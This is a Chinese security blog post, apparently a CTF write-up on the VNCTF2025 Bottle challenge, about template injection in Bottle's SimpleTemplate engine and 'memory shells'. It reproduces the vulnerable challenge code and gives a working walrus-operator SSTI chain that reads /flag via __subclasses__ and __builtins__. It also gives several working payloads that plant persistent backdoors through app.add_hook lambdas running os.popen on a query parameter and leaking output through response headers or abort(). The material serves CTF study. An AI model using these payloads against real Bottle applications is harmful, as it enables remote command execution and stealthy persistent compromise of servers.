SimpleTemplate 模板引擎ssti注入和内存马学习

admin 2025年2月23日22:45:31评论89 views字数 8403阅读28分0秒阅读模式

简介

Bottle自带了一个快速,强大,易用的模板引擎,名为 SimpleTemplate 或简称为 stpl 。它是 view() 和 template() 两个函数默认调用的模板引擎。

而SimpleTemplate类是继承了BaseTemplate类的

漏洞一:Bottle注入

如何检测框架

SimpleTemplate 模板引擎ssti注入和内存马学习

里面的函数可以帮我们检测一下框架

SimpleTemplate 模板引擎ssti注入和内存马学习

在vnctf2025的学生管理系统,题目描述说:”某个单文件框架“,搜索或者问 ai 都能知道 python 本体的单文件框架是 bottle 框架。 绕长度限制,题目主页面也有提示“一行一个名字”,输入

{{7*7}}%0a{{8*8}}

会发现回显 了 49 和 64。

import ast
import sys
from bottle import route, run, template, request


def verify_secure(m):
    for x in ast.walk(m):
        if isinstance(x, (ast.Import, ast.ImportFrom)):
            print(f"ERROR: Banned statement {x}")
            return False

        elif isinstance(x, ast.Call):
            if isinstance(x.func, ast.Name) and x.func.id == "__import__":
                print(f"ERROR: Banned dynamic import statement {x}")
                return False
    return True


def init_functions():
    # sys.modules['os'].popen = disabled
    sys.modules['os'].system = disabled
    sys.modules['time'].sleep = disabled


def disabled(*args, **kwargs):
    raise PermissionError("Use of function is not allowed!")


@route('/')
def index():
    return '''<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>学生姓名登记</title>

    <style>
        body {
            font-family: 'Arial', sans-serif;
            line-height: 1.6;
            color: #333;
            max-width: 600px;
            margin: 0 auto;
            padding: 20px;
            background-color: #f4f4f4;
        }
        .container {
            background-color: #fff;
            padding: 30px;
            border-radius: 8px;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
        }
        h2 {
            color: #2c3e50;
            text-align: center;
            margin-bottom: 20px;
        }
        form {
            display: flex;
            flex-direction: column;
        }
        label {
            margin-bottom: 10px;
            font-weight: bold;
        }
        textarea {
            width: 100%;
            height: 150px;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
            resize: vertical;
            font-size: 16px;
        }
        button {
            background-color: #3498db;
            color: #fff;
            border: none;
            padding: 10px 15px;
            font-size: 16px;
            border-radius: 4px;
            cursor: pointer;
            transition: background-color 0.3s ease;
        }
        button:hover {
            background-color: #2980b9;
        }
        .error {
            color: #e74c3c;
            margin-top: 10px;
        }
    </style>

</head>

<body>
    <div class="container">
        <h2>学生姓名登记</h2>

        <form action="/students" method="POST" id="studentForm">
            <label for="name">请输入学生姓名(一行一个):</label>

            <textarea id="name" name="name" placeholder="张三" required></textarea>

            <button type="submit">提交</button>

        </form>

        <p id="errorMessage" class="error"></p>

    </div>

    <script>
        document.getElementById('studentForm').addEventListener('submit', function(e) {
            e.preventDefault();

            const namesInput = document.getElementById('name').value.trim();
            const names = namesInput.split('n').filter(name => name.trim() !== '');

            if (names.length === 0) {
                document.getElementById('errorMessage').textContent = '请至少输入一个学生姓名。';
                return;
            }

            document.getElementById('errorMessage').textContent = '';
            this.reset();
        });
    </script>

</body>

</html>

'''


def successhtml(name):
    success_html = """<!DOCTYPE html>
    <html lang="zh-CN">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Success</title>

        <style>
            body {
                font-family: 'Arial', sans-serif;
                background-color: #f0f2f5;
                margin: 0;
                padding: 0;
                display: flex;
                justify-content: center;
                align-items: center;
                height: 100vh;
            }
            .container {
                background-color: #ffffff;
                border-radius: 8px;
                box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
                padding: 30px;
                text-align: center;
                max-width: 400px;
                width: 90%;
            }
            .success-icon {
                color: #52c41a;
                font-size: 48px;
                margin-bottom: 20px;
            }
            h1 {
                color: #333;
                font-size: 24px;
                margin-bottom: 15px;
            }
            .message {
                color: #666;
                font-size: 16px;
                line-height: 1.5;
            }
            .student-name {
                font-weight: bold;
                color: #1890ff;
            }
            .back-button {
                background-color: #1890ff;
                color: white;
                border: none;
                padding: 10px 20px;
                font-size: 16px;
                border-radius: 4px;
                cursor: pointer;
                transition: background-color 0.3s;
                margin-top: 20px;
            }
            .back-button:hover {
                background-color: #40a9ff;
            }
        </style>

    </head>

    <body>
        <div class="container">
            <div class="success-icon">✔</div>

            <h1>Success</h1>

            <p class="message">
                <span class="student-name" id="studentName"></span>

            </p>

            <button class="back-button" onclick="goBack()">返回</button>

        </div>

        <script>
            const studentName = "张三";

            document.addEventListener('DOMContentLoaded', function() {
                const messageElement = document.getElementById('studentName');
                messageElement.innerHTML = `""" + "<b>学生 {} 的成绩录入成功!</b>".format(name) + """`;
            });

            function goBack() {
                window.location.href = '/'; 
            }
        </script>

    </body>

    </html>"""
    return success_html


@route('/students', method=['POST'])
def students():
    name = request.forms.name
    black_list = ['open', 'exec', 'eval', 'subprocess']
    for x in black_list:
        if x in name:
            return "Hacker!"

    temp = name.split("n")
    print(temp)
    for i in range(0, len(temp)):
        temp[i] = temp[i].replace('n', '').replace('r', '')
        if len(temp[i]) > 23:
            return "<h1>谁家好人名字这么长??</h1>"
    try:
        tree = compile(name, "temp.py", 'exec', flags=ast.PyCF_ONLY_AST)
    except:
        return successhtml(name)
    if verify_secure(tree):
        try:
            return template(successhtml(name))
        except:
            return successhtml(name)
    else:
        return "No import!"


init_functions()
run(host='localhost', port=8081, debug=True)

python3.8+版本

由于3.8以后的版本可以利用海象符来进行赋值,那么就可以避免单行长度大于23了

{{a:=''}}
{{b:=a.__class__}}
{{c:=b.__base__}}
{{d:=c.__subclasses__}}
{{e:=d()[156]}}
{{f:=e.__init__}}
{{g:=f.__globals__}}
{{z:='__builtins__'}}
{{h:=g[z]}}
{{i:=h['op''en']}}
{{x:=i("/flag")}}
{{y:=x.read()}}

漏洞二:Bottle v0.13.2内存马学习

个人对内存马的学习,就是自定义一个路由,里面的路由调用了一个函数,而那个函数执行了什么内容,返回了啥,全由你自己决定,那么我们就可以利用这个特点,来执行命令了。

步骤一:路由

那么既然要找这个路由,我们就要先找哪个类的方法能去注册一个新的路由。

SimpleTemplate 模板引擎ssti注入和内存马学习

我们点进去看看route这个方法

SimpleTemplate 模板引擎ssti注入和内存马学习

然后他就会进入callable判断,

callable = lambda x: hasattr(x, '__call__')

如果 path 是一个可调用对象,例如一个函数、字符串……(这也许也是在阐述python万物皆对象吧)

则交换 path 和 callback 的角色,将原本作为 path 的值赋给 callback,并将 path 设置为 None

如果判断成功他就会调用

def makelist(data):  # This is just too handy
    if isinstance(data, (tuple, list, set, dict)):
        return list(data)
    elif data:
        return [data]
    else:
        return []

下面是我测试的结果

makelist([1, 2, 3])   # 返回 [1, 2, 3]  (已经是列表)
makelist((1, 2, 3))   # 返回 [1, 2, 3]  (元组转换为列表)
makelist({1, 2, 3})   # 返回 [1, 2, 3]  (集合转换为列表)
makelist('abc')       # 返回 ['abc']     (字符串被包装为单元素列表)
makelist(42)          # 返回 [42]        (整数被包装为单元素列表)
makelist(None)        # 返回 []          (空值返回空列表)

其实就是把元组,集合,字符串,字典,整数转换为列表,然后把空值返回空列表,总的来说就是不管你是啥,你传进去了什么,就都返回列表给你。

那么

if callable(path): path, callback = None, path
plugins = makelist(apply)
skiplist = makelist(skip)

这段代码在apply和skip为空的情况下,pluains和skiplist也都为空

然后往下看就知道剩下的代码定义了一个装饰器decorator函数,专门用来接收callback参数,然后下面一段都是生成路由的规则

SimpleTemplate 模板引擎ssti注入和内存马学习

步骤二:方法(method)

那么这个.route默认的方法是'GET',当然你也可以传一个POST进去

步骤三:callback

这里回扣到第一步,到底我们要传个什么样的值才能够成功生成一个函数呢?

所以我们目前需要探索的是如何不写一个完整的def的情况下自定义一个函数

这就不得不提到python自己默认自带的lambda表达式。

网上对

的讲解已经是非常深入了,这里就不再提咋用了。

简单的写一个

lambda : print(1)

SimpleTemplate 模板引擎ssti注入和内存马学习
app.route("/c","GET",lambda :print(1))

这里可以看到已经是成功了。

那么剩下的就是构造payload和绕waf的问题了。

这里我就放到后面再讲,写讲讲如果不走route方法还有哪些呢?

hook类

在flask框架中,调用钩子非常常见,我也阅读了这部分代码

SimpleTemplate 模板引擎ssti注入和内存马学习

add_hook有讲怎么去调用这些函数

SimpleTemplate 模板引擎ssti注入和内存马学习

这里就是看你传的是after_request就调用insert,不是就调用其他的。

SimpleTemplate 模板引擎ssti注入和内存马学习

发现他后端会有,但是前端界面并不显示

在respond头回显

这里搜response

SimpleTemplate 模板引擎ssti注入和内存马学习

发现有好几个类都是以BaseResponse作为父类

bottle模块->BaseResponse::set_header -> _hval(value)
SimpleTemplate 模板引擎ssti注入和内存马学习
SimpleTemplate 模板引擎ssti注入和内存马学习

这里我们利用utf8加密,同时也利用base64加密一下内容。

/memshell?cmd=app.add_hook('before_request', lambda : __import__('bottle').response.set_header('X-Flag', __import__('base64').b64encode(__import__('os').popen("echo 1").read().encode('utf-8')).decode('utf-8')))

这里在/memshell执行成功之后

SimpleTemplate 模板引擎ssti注入和内存马学习

在/才能看到结果。

abort方法妙用

bottle框架中的一个内置函数abort

SimpleTemplate 模板引擎ssti注入和内存马学习

直接就把异常给抛出来了,同时也是把结果给抛出来

SimpleTemplate 模板引擎ssti注入和内存马学习
poc:
app.add_hook('before_request', lambda: __import__('bottle').abort(404,__import__('os').popen(request.query.get('a')).read()))

总结hook类poc

上面只提到了before_request,那么还有剩下的几个,看看能否打进内存马。

after_request

这个其实跟before_request一样,可以直接调用的

/memshell?cmd=app.add_hook('after_request', lambda: __import__('bottle').abort(404,__import__('os').popen(request.query.get('a')).read()))
/memshell?cmd=app.add_hook('after_request', lambda : __import__('bottle').response.set_header('X-Result', __import__('base64').b64encode(__import__('os').popen("echo 1").read().encode('utf-8')).decode('utf-8')))

app_reset

SimpleTemplate 模板引擎ssti注入和内存马学习

根据源码这里,其实就是跟route挺像的

app.add_hook("app_reset",lambda :print(1))

开始我想着用这样来去添加,但最后发现不行,反复测试了好几次,感觉应该是不支持app_reset这个钩子的

但是看到文档里面也是有写着的

SimpleTemplate 模板引擎ssti注入和内存马学习
来源:【https://xz.aliyun.com/news/16942】,感谢【1674701160110592

原文始发于微信公众号(船山信安):SimpleTemplate 模板引擎ssti注入和内存马学习

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月23日22:45:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SimpleTemplate 模板引擎ssti注入和内存马学习https://cn-sec.com/archives/3770729.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息